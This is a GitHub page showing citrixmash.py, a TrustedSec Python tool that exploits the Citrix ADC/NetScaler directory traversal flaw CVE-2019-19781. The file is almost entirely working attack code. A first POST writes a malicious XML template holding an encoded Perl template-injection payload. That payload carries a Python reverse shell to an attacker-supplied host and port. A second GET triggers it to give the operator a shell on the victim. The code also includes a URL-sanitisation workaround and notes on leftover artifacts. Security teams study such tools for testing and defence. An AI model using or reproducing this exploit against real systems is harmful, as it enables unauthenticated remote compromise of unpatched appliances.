-
Notifications
You must be signed in to change notification settings - Fork 128
/
citrixmash.py
executable file
·215 lines (183 loc) · 10.3 KB
/
citrixmash.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
#!/usr/bin/env python3
#
# Exploits the Citrix Directory Traversal Bug: CVE-2019-19781
# Writeup and mitigation: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/
# Forensics and IoC Blog: https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/
#
# You only need a listener like netcat to catch the shell.
#
# Shout out to the team: Rob Simon, Justin Elze, Logan Sampson, Geoff Walton, Christopher Paschen, Kevin Haubris, Scott White
#
# Company: TrustedSec, LLC
# Tool Written by: Rob Simon (@_KC57) and David Kennedy (@HackingDave)
#
#
# Usage: python3 citrixmash.py <victimaddress> <victimport> <attacker_listener> <attacker_port>
# Also: python3 citrixmash.py -h
#
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # disable warnings
import random
import string
import time
from random import randint
import argparse
import sys
# random string generator
def randomString(stringLength=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))
# our random string for filename - will leave artifacts on system
filename = randomString()
randomuser = randomString()
# generate random number for the nonce
nonce = randint(5, 15)
# this is our first stage which will write out the file through the Citrix traversal issue and the newbm.pl script
# note that the file location will be in /netscaler/portal/templates/filename.xml
def stage1(filename, randomuser, nonce, victimip, victimport, attackerip, attackerport):
# encoding our payload stub for one netcat listener - awesome work here Rob Simon (@_KC57)
encoded = ""
i=0
text = ("""/var/python/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" % (attackerip, attackerport))
while i < len(text):
encoded = encoded + "chr("+str(ord(text[i]))+") . "
i += 1
encoded = encoded[:-3]
payload="[% template.new({'BLOCK'='print readpipe(" + encoded + ")'})%]"
# this is our stage where we prep our payload to disk and do a POST request to vpn/../vpns/portal/scripts/newbm.pl this is a directory traversal attack
# from here, we use newbm.pl to send data elements which contain the format we need to create an xml file that is written to disk
# the filename is randomized because if you fire the same name twice it just appends the xml and it'll break things
# here we use the data field to create and insert our code into the title field which is stored on disk
# our payload on disk will look something like this:
# <?xml version="1.0" encoding="UTF-8"?>
# <user username="../../../netscaler/portal/templates/znpekddugm">
# <bookmarks>
# <bookmark UI_inuse="a" descr="desc" title="[% template.new({'BLOCK'='print readpipe(ourpayload'})%]" url="http://127.0.0.1" />
# </bookmarks>
# <escbk>
# </escbk>
# <filesystems></filesystems>
# <style></style>
# </user>
headers = (
{
'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0',
'NSC_USER' : '../../../netscaler/portal/templates/%s' % (filename),
'NSC_NONCE' : '%s' % (nonce),
})
data = (
{
"url" : "127.0.0.1",
"title" : payload,
"desc" : "desc",
"UI_inuse" : "a"
})
# add support for port 80
if victimport == ("80"):
url = ("http://%s:%s/vpn/../vpns/portal/scripts/newbm.pl" % (victimip, victimport))
else:
url = ("https://%s:%s/vpn/../vpns/portal/scripts/newbm.pl" % (victimip, victimport))
try:
#req = requests.post(url, data=data, headers=headers, verify=False)
# need to do this hack job in order to make this work. In later versions of urllib3 (used by requests) they sanitize the link, this fixes that.
# special thanks to rxwx: https://github.com/trustedsec/cve-2019-19781/issues/13
with requests.Session() as s:
r = requests.Request(method='POST', url=url, data=data, headers=headers)
prep = r.prepare()
prep.url = url
req = s.send(prep, verify=False)
# only seen when we have a successful system
if (".ns_reload()") in str(req.content):
print("[*] We got an expected response back for a vulnerable system. Initial stage exploit likely successful.")
# 403 usually indicates it has been patched, Citrix means script wasn't found and also patched
if ("Citrix") in str(req.content) or "403" in str(req.status_code):
print("[\033[91m!\033[0m] The exploit failed due to the system being patched. Exiting Citrixmash.")
sys.exit()
# handle exception errors due to timeouts
except requests.ReadTimeout:
print("[-] ReadTimeout: Server %s timed out and didn't respond on port: %s." % (victimip, victimport))
except requests.ConnectTimeout:
print("[-] ConnectTimeout: Server %s did not respond to a web request or the port (%s) is not open." % (victimip, victimport))
except requests.ConnectionError:
print("[-] ConnectionError: Server %s did not respond to a web request or the port (%s) is not open." % (victimip,victimport))
# this is our second stage that triggers the exploit for us
def stage2(filename, randomuser, nonce, victimip, victimport):
# this is where we call the file we just created, the XML on disk. Once called using the traversal attack again, it'll execute our pay load
# in our case we decided to use Python.. based on being nested in perl, the escaping was weird which is why the payload needed to be converted
headers = (
{
'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0',
'NSC_USER' : '%s' % (randomuser),
'NSC_NONCE' : '%s' % (nonce),
})
# add support for port 80
if victimport == ("80"):
url = ("http://%s:%s/vpn/../vpns/portal/%s.xml" % (victimip, victimport, filename))
# using https
else:
url = ("https://%s:%s/vpn/../vpns/portal/%s.xml" % (victimip, victimport, filename))
# requests.get(url, headers=headers, verify=False)
# need to do this hack job in order to make this work. In later versions of urllib3 (used by requests) they sanitize the link, this fixes that.
# special thanks to rxwx: https://github.com/trustedsec/cve-2019-19781/issues/13
with requests.Session() as s:
r = requests.Request(method='GET', url=url, headers=headers)
prep = r.prepare()
prep.url = url
req = s.send(prep, verify=False)
# start our main code to execute
print('''
.o oOOOOOOOo OOOo
Ob.OOOOOOOo OOOo. oOOo. .adOOOOOOO
OboO"""""""""""".OOo. .oOOOOOo. OOOo.oOOOOOo.."""""""""'OO
OOP.oOOOOOOOOOOO "POOOOOOOOOOOo. `"OOOOOOOOOP,OOOOOOOOOOOB'
`O'OOOO' `OOOOo"OOOOOOOOOOO` .adOOOOOOOOO"oOOO' `OOOOo
.OOOO' `OOOOOOOOOOOOOOOOOOOOOOOOOO' `OO
OOOOO '"OOOOOOOOOOOOOOOO"` oOO
oOOOOOba. .adOOOOOOOOOOba .adOOOOo.
oOOOOOOOOOOOOOba. .adOOOOOOOOOO@^OOOOOOOba. .adOOOOOOOOOOOO
OOOOOOOOOOOOOOOOO.OOOOOOOOOOOOOO"` '"OOOOOOOOOOOOO.OOOOOOOOOOOOOO
"OOOO" "YOoOOOOMOIONODOO"` . '"OOROAOPOEOOOoOY" "OOO"
Y 'OOOOOOOOOOOOOO: .oOOo. :OOOOOOOOOOO?' :`
: .oO%OOOOOOOOOOo.OOOOOO.oOOOOOOOOOOOO? .
. oOOP"%OOOOOOOOoOOOOOOO?oOOOOO?OOOO"OOo
'%o OOOO"%OOOO%"%OOOOO"OOOOOO"OOO':
`$" `OOOO' `O"Y ' `OOOO' o .
. . OP" : o .
:
Citrixmash - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781
Company: TrustedSec, LLC
Tool Written by: Rob Simon (@_KC57) and Dave Kennedy (@HackingDave)
Contributions: The TrustedSec Team (@TrustedSec)
Website: https://www.trustedsec.com
INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/
This tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used
to append files in an XML format to the victim machine. This in turn allows for remote code execution.
Be sure to cleanup these two file locations:
/var/tmp/netscaler/portal/templates/
/netscaler/portal/templates/
IP Addresses and DNS names are usable in the victim address and attacker_listener fields (if host supports DNS).
Usage:
python3 citrixmash.py <victimaddress> <victimport> <attackerip_listener> <attacker_port>\n''')
# parse our commands
parser = argparse.ArgumentParser()
parser.add_argument("target", help="the vulnerable server with Citrix hostname or IP (defaults https)")
parser.add_argument("targetport", help="the target server web port (normally on 443)")
parser.add_argument("attackerip", help="the attackers reverse listener IP or hostname address")
parser.add_argument("attackerport", help="the attackers reverse listener port")
args = parser.parse_args()
print("[*] Firing STAGE1 POST request to create the XML template exploit to disk...")
print("[*] Saving filename as %s.xml on the victim machine..." % (filename))
try:
# trigger our first reuqest - POST to create our malicious XML through the traversal/perl file attack
stage1(filename, randomuser, nonce, args.target, args.targetport, args.attackerip, args.attackerport)
print("[*] Sleeping for 2 seconds to ensure file is written before we call it...")
time.sleep(2)
print("[*] Triggering GET request for the newly created file with a listener waiting...")
print("[*] Shell should now be in your listener... enjoy. Keep this window open..")
print("[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/")
# trigger our second request - get to execute payload
stage2(filename, randomuser, nonce, args.target, args.targetport)
except KeyboardInterrupt:
print("[*] Control-C detected, exiting gracefully... Exiting Citrixmash.")
sys.exit()